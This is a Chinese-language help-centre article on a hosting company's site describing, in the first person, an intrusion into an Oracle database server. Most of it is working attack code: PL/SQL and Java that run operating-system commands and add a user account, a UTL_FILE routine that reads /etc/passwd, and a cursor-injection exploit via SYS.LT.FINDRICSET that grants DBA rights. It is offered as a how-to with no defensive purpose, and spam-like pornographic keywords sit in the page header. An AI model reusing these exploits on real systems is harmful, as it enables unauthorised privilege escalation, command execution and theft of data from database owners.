激情五月天婷婷,亚洲愉拍一区二区三区,日韩视频一区,a√天堂中文官网8

<ul id="buwfs"><strike id="buwfs"><strong id="buwfs"></strong></strike></ul>
    <output id="buwfs"></output>
  • <dfn id="buwfs"><source id="buwfs"></source></dfn>
      <dfn id="buwfs"><td id="buwfs"></td></dfn>
      <div id="buwfs"><small id="buwfs"></small></div>
      <dfn id="buwfs"><source id="buwfs"></source></dfn>
      1. <dfn id="buwfs"><td id="buwfs"></td></dfn>
        始創(chuàng)于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業(yè)
        • 60秒人工響應
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        您的位置: 網站首頁 > 幫助中心>文章內容

        入侵Oracle服務器進一步獲取權限

        發(fā)布時間:  2012/8/13 16:16:09

        很快便連接上Oracle服務器,此時發(fā)現:

          1.連接后不是dba權限

          2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權限

          3.運行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后發(fā)現Oracle服務器不能連接網絡。
        -
         

          幸運的是,

          運行

          create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

          成功!這個用戶具有create proceduce權限。

          此時馬上想到創(chuàng)建java擴展執(zhí)行命令:

          create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}

          begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;

          create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘LinxUtil.runCMD(java.lang.String) return String’

          select * from all_objects where object_name like ‘%LINX%’

          grant all on LinxRunCMD to public

          select LinxRunCMD(‘cmd /c net user linx /add’) from dual

          但是在第一步就卡住了,服務器由于某種未知原因 不能創(chuàng)建java擴展!!

          還好,我們還有UTL庫可以利用:

          create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is

          fHandler UTL_FILE.FILE_TYPE;

          buf varchar2(4000);

          output varchar2(8000);

          BEGIN

          fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);

          loop

          begin

          utl_file.get_line(fHandler,buf);

          DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);

          exception

          when no_data_found then exit;

          end;

          output := output||buf||chr(10);

          end loop;

          UTL_FILE.FCLOSE(fHandler);

          return output;

          END;

          UTL_FILE_DIR需要先用:

          CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

          指定目。但運行后發(fā)現沒有權限。只好想辦法提權。

          ***************游標注射***************

          老外寫了N個pdf介紹這技術,我精簡了代碼:

          DECLARE

          MYC NUMBER;

          BEGIN

          MYC := DBMS_SQL.OPEN_CURSOR;

          DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);

          DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

          BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;

          raise NO_DATA_FOUND;

          EXCEPTION

          WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

          WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

          END;

          運行后重新連接就有dba權限了,簡單吧……

          現在可以讀取文件了:

          CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

          select LinxUTLReadfile(‘passwd’) from dual

          后面就簡單了,不寫了。


        本文出自:億恩科技【mszdt.com】

        服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

      2. 您可能在找
      3. 億恩北京公司:
      4. 經營性ICP/ISP證:京B2-20150015
      5. 億恩鄭州公司:
      6. 經營性ICP/ISP/IDC證:豫B1.B2-20060070
      7. 億恩南昌公司:
      8. 經營性ICP/ISP證:贛B2-20080012
      9. 服務器/云主機 24小時售后服務電話:0371-60135900
      10. 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
      11. 專注服務器托管17年
        掃掃關注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時客服服務熱線